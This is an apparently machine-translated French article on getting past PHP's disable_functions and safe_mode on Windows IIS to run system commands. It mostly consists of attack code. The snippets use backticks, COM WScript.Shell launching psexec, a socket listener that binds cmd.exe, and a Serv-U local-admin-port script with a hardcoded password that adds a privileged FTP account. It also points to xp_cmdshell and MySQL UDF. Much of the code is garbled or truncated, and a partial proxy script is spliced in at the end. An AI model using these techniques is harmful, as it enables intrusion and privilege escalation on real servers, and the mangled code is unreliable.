De WIN2000 à WIN XP, puis à WIN2003, l'amélioration de la sécurité du serveur MS IIS est évidente. Dans WIN2000, un SHELL PHP ordinaire peut le vaincre ; dans WIN XP, même si le mode sans échec est désactivé, vous ne pouvez pas utiliser des fonctions telles que system() pour exécuter des commandes système, mais nous pouvons toujours utiliser la fonction com() pour percer ; Depuis WIN 2003, même si IIS et PHP sont installés par défaut, vous ne pourrez peut-être pas utiliser system() ou com() pour les vaincre. En ce moment, vous devez utiliser de nouvelles méthodes pour réaliser des percées.
1. Percée de Disable_Functions
Dans php-4.0.1 ou supérieur, une fonction Disable_functions est introduite dans php.ini. Cette fonction est très utile et peut être utilisée pour désactiver certaines fonctions. Par exemple, si vous ajoutez Disable_functions = passthru exec system popen au php.ini, alors lors de l'exécution de ces fonctions, vous serez invité à afficher un message d'avertissement : system() a été désactivé pour des raisons de sécurité et le programme se terminera. Mais il n’existe aucun moyen d’exécuter des commandes système. Étant donné que PHP utilise de nombreuses fonctionnalités Perl, par exemple, vous pouvez également utiliser (`) pour exécuter des commandes. L'exemple de code est le suivant :
<?$output = `ls -al`;echo "<pre>$output</pre>. ";?>
On dit que cela ne peut être évité qu'en activant safe_mode, mais la dernière fois que je l'ai utilisé sur un serveur étranger, il a toujours échoué. Les gens ne sont pas toujours aussi chanceux :)
2.Lors de
l'application du dl( ) fonction
Lorsque l'un des numéros d'exécution de commande internes de PHP et '' ne peut pas être utilisé, vous pouvez essayer dl(). Cette méthode ne peut être utilisée qu'avec safe mode=off car elle est désactivée en mode sans échec. En utilisant dl(), vous pouvez appeler directement la fonction W32api. Malheureusement, cette extension a été déplacée vers la bibliothèque PECL et n'est plus liée depuis PHP 5.1.0 ou version antérieure. Voici un exemple tiré du manuel :
// Chargez cette extension
dl("php_w32api.dll");
// Enregistrez la fonction GetTickCount, à partir de kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long") ;
// Enregistre la fonction MessageBoxA, à partir de User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");
//
Obtient des informations sur le temps de démarrage
$ticks = GetTickCount();
text
$secs = floor ($ticks / 1000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);
$str = sprintf("Vous utilisez votre ordinateur depuis :".
"rn %d Millisecondes, ou rn %d Secondes".
"ou rn %d minutes ourn %d heures %d minutes.",
$ticks,
$secs,
$mins
.,
$hours,
$ mins - ($hours*60));
// Afficher une boîte de dialogue de message avec seulement un bouton OK et le texte de l'heure de démarrage
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK ?
>
Malheureusement
);Je ne le comprends pas encore, j'ai une compréhension approfondie de dl() et de W32api, donc je ne donnerai pas d'exemples aléatoires pour éviter d'induire les lecteurs en erreur.
3. Application des fonctions COM et .Net (Windows)
COM (Component Object Model) est une spécification logicielle développée par Microsoft. Elle est utilisée pour développer des composants logiciels orientés objet et compilés. Elle permet de résumer le logiciel en composants binaires. principalement utilisé sur la plateforme Windows.
La version Windows de PHP prend déjà en charge ce module d'extension. Il n'est pas nécessaire de charger des bibliothèques d'extensions supplémentaires pour utiliser les fonctions COM. Son utilisation est similaire à la syntaxe de création d'une classe en C++ ou Java, et le nom de la classe COM est transmis au constructeur en tant que paramètre. Par exemple, utilisez "WScript.Shell" en PHP pour exécuter les commandes système :
$cmd="E:/cert/admin/psexec.exe"
if($com=new COM("WScript.Shell")) echo "yes " ;
if(!$cmd1=$com->exec($cmd))
{
echo "ne peut pas exec()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "ne peut pas exécuter stdout( ) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
La figure 1 est un exemple que j'ai écrit pour exécuter psexec.exe.
La signification de ce code est exactement la même que celle d'ASP. Bien entendu, vous pouvez également appeler "ADODB.Connection" comme ASP. En utilisant ce composant combiné à la vulnérabilité de débordement jet2, vous pourrez peut-être obtenir un Shell sous PHP Saft. mode=ON.
//crée
la connexion à la base de données
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" .
conn->Open($dsn);
//extraire les données via la chaîne SQL
$rs = $conn->Execute("sélectionner les clients du Web"
…..
?>
La fonction .Net ne peut s'exécuter que sur PHP 5, de bien sûr, cela nécessite le support du ".Net runtime", et il s'agit d'un module expérimental de PHP qui n'est pas encore entièrement fonctionnel, je n'en parlerai donc pas ici.
4. Application de la fonction Java()
Cette méthode convient au mode sans échec=on. Pour utiliser le serveur de modules JAVA, vous devez installer une machine virtuelle Java au préalable et activer l'option with-java lors de l'installation et de la configuration de PHP. Le code est le suivant :
[JAVA]
; C'est le chemin d'accès à php_java.jar
; java.class.path = . php_java.jar
;Chemin JDK
;Java.home = f:jdk1.3.0
;Chemin d'accès à la machine virtuelle
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll
est identique à COM. Pour créer une classe en Java (pas seulement en JavaBeans), transmettez simplement le nom de la classe JAVA en tant que paramètre au constructeur. Voici un exemple tiré du manuel :
// Cet exemple est uniquement destiné à être exécuté en tant que CGI
$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java. awt.Button', 'Bonjour le monde Java !');
$frame->add('North', $button)
;$
frame->
validate()
;;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose(
?>
Malheureusement, il n'y a pas beaucoup de serveurs PHP qui peuvent vraiment prendre en charge JAVA, donc Il n'est pas nécessaire d'en discuter autant.
5. Application de la fonction socket()
Socket est un module extrêmement puissant en PHP Si vous utilisez une interface abstraite de haut niveau (socket ouvert par les fonctions fsockopen() et psockopen), vous n'avez pas besoin d'ouvrir "php_sockets.dll". de. Mais si vous souhaitez utiliser le bloc fonctionnel socket complet, vous devez le définir comme ceci dans php.ini :
; Extensions Windows
; Notez que le support MySQL et ODBC est désormais intégré, donc aucune DLL n'est nécessaire pour cela
……..
; Supprimez la phrase suivante Le point-virgule au début
; extension=php_sockets.dll
utilise le bloc de fonction socket de PHP pour implémenter la redirection/redirection de port, le reniflage de paquets, le débordement local et d'autres fonctions. Il peut faire la plupart de ce que nc peut faire. De plus, il peut également être utilisé pour construire un serveur TCP/UDP. En même temps, je pense que c'est aussi le meilleur moyen de briser la politique de sécurité du serveur. Voici un exemple d'ouverture d'un port sur le serveur pour construire un serveur TCP. Vous pouvez l'utiliser pour regrouper le cmd.exe du serveur :
//Construire un service TCP sur le serveur
//Cet exemple nécessite la prise en charge de php_sockets.dll.
//Après l'exécution Vous pouvez utiliser "telnet 127.0.0.1 1020" pour vous connecter
error_reporting(E_ALL);
/*Autoriser
le script à attendre les connexions */
set_time_limit(0);
ce que nous obtenons
* au fur et à mesure. */
ob_implicit_flush();
// Lier l'IP et le port sur le serveur
$address = '127.0.0.1';
$
port = 1020;
SOCK_STREAM, SOL_TCP) ) < 0) {
echo "socket_create() a échoué : raison : " . socket_strerror($sock)
}
if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() a échoué : raison : " . socket_strerror($ret) "n";
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() échec : raison : " . socket_strerror($ret) . "n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() a échoué : raison : " . socket_strerror($ msgsock) . " n";
break;
}
/* Envoyer les instructions. */
$msg = "nBienvenue sur le serveur de test PHP. n"
"Pour quitter, tapez 'quit'. Pour arrêter le serveur, tapez '. shutdown'. n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf, 1024, 0)) {
echo "socket_read() a échoué : raison : " . socket_strerror($ret) . "n";
break 2;
}
if (!$buf = trim($buf)) {
continuer;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$
talkback = "PHP : vous avez dit '$buf'.n";
));
echo "$bufn";
//Ce qui suit traite le buf reçu
/*eg : par exemple
$buf="cmd.exe /c netstat –an";
$pp = popen('$buf ', ' r');
While ($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/
} while (
true_close
(
$msgsock);
sock);
>
En fait, de nombreux hôtes ne chargent pas php_sockets.dll Heureusement, la fonction "fsockopen" qui ne nécessite pas le support du module socket nous suffit. Car tant qu'il y a "fsockopen", on peut librement lire et écrire sur cette machine des ports qui ne sont pas ouverts sur le monde extérieur. Utiliser fsockopen pour lire et écrire le port de gestion local 43958 de serv-u (remarque : ce port ne peut pas être connecté en externe) pour l'élévation de privilèges est un exemple typique :
$adminuser="LocalAdministrator"
$adminpass=" #l@$ak#
;.lk;0@P ”;
$adminport=" 43958";
$
fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8)
;
$errno)
n";
} else {
//$shellcode peut être écrit
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."rn");
sleep ( 1);
fputs ($fp, "PASS ".$adminpass."rn");
fputs
(
$
fp, "MAINTENANCE DU SITErn");
$fp, "-SETUSERSETUPrn");
fputs ($fp, "-IP=".$addr."rn");
fputs ($fp, "-PortNo=".$ftpport." rn");
fputs ($fp, "-User=".$user."rn");
fputs ($fp, "-Password=".$password."rn") ;
fputs ($fp, "-HomeDir=".$homedir."rn");
fputs ($fp,
"-LoginMesFile=rn");
rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0 rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable= 0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, " -SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn");
fputs ($ fp, "-SessionTimeOut=-1rn");
fputs
($fp, "-Expire=0rn
");
($fp, "-RatioDown=1rn");
fputs ($fp, "-RatiosCredit=0rn");
fputs ($fp, "-QuotaCurrent=0rn");
fputs ($fp, "-QuotaMaximum=0rn");
fputs ($fp, "-Maintenance=Systemrn");
fputs ($fp, "-PasswordType=Regularrn") ;
fputs ($fp, "-Ratios=Aucunrn");
fputs(
$fp, " Access=".$homedir."|RWAMELCDPrn");
n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
Vous pouvez également utiliser fsockopen pour écrire un proxy HTTP pour accéder au réseau externe ou au ordinateur local. Sites Web accessibles en externe. J'ai un HTTPProxy complet (Figure 4) avec un code long. Les lecteurs intéressés peuvent y jeter un œil.
6. L'interface MYSQL/MSSQL
est différente de Linux dans la mesure où MySQL/MSSQL sous Windows est généralement exécuté en tant qu'administrateur système. Par conséquent, tant que vous pouvez obtenir le mot de passe root/sa dans la base de données SQL locale, vous pouvez l'utiliser directement. . PHP se connecte à la base de données pour exécuter les commandes système.
L'exécution de commandes système dans Mysql nécessite d'exploiter la vulnérabilité de la fonction définie par l'utilisateur "MySQL UDF Dynamic Library". Dans MSSQL, tant que vous vous connectez à la base de données, vous pouvez appeler directement la commande d'exécution étendue "master..xp_cmdshell". Les permissions sont bien entendu des permissions système.
Pour résumer : en raison des différentes versions du système, IIS et PHP, les méthodes révolutionnaires mentionnées ci-dessus peuvent changer. PHP dispose également de nombreuses fonctions étendues qui peuvent être utilisées pour sortir des fonctions d'exécution des commandes système system() . Brisez les restrictions de la politique de sécurité du système !
Ci-joint le code proxy.php
error_reporting(E_ALL);
/*
// Ce programme est un logiciel libre, vous pouvez le redistribuer et/ou
// le modifier selon les termes de la Licence Publique Générale GNU
// telle que publiée par le Logiciel Libre ; Foundation ; soit la version 2
// de la licence, soit (à votre choix) toute version ultérieure.
//
// Ce programme est distribué dans l'espoir qu'il sera utile,
// mais SANS AUCUNE GARANTIE, sans même la garantie implicite ; de
// QUALITÉ MARCHANDE ou ADÉQUATION À UN USAGE PARTICULIER. Voir la
// Licence publique générale GNU pour plus de détails
//
// Vous devriez avoir reçu une copie de la Licence publique générale GNU
// avec ce programme. au Logiciel Libre
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
//-----------------------------------
.----- --------------------------------------------- --
// Classe : PHProxy
// Auteur : Ultimategamer00 (Abdullah A.)
// Dernière modification : 18:28 22/06/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM'); ]
, $alpha[1] );
}
}
classe PHProxy
{
var $allowed_hosts = array();
var
$script_url
;
var $url_segments
= array('include_form' => 1, ' remove_scripts' => 1 , 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);
var
$content_type;
var
$
post_body
;
réponse_body;
function PHProxy( $flags = 'précédent')
{
$this->version = '0.2';
$this->script_url = 'http'
(isset(
function set_request_headers()
{
$headers = " " . (isset( $this->url_segments ['query']) ? "?" : '') . " HTTP/1.0rn
"
; -Agent : Mozilla/ 4.0 (compatible ; MSIE 6.0 ; Windows NT 5.1)rn";
$headers .= "Accepter : text/xml, application/xml, application/xhtml+xml, text/html; , texte/plain; q=0,8, vidéo/x-mng, image/png, image/jpeg, image/gif; q=0,2, */*
; : closer n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Référent : rn";
}
$cookies = $this->get_cookies();
$headers .= $ cookies != '' ? "Cookie : $cookiesrn" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query' ]) ? "? " : '') . " HTTP/1.0rn";
$headers .= "Hôte :rn"
; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Accepter : text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, video/x-mng , image/png, image/jpeg, image/gif;q=0.2,*/*;q=0.1rn";
$headers .= "Connexion : fermerrn" ;
si ($this-> flags['show_referer'] == 1)
{
$headers .= "Référent : rn";
}
$
cookies = $this->get_cookies();
' ? "Cookie
: $cookiesrn" : '';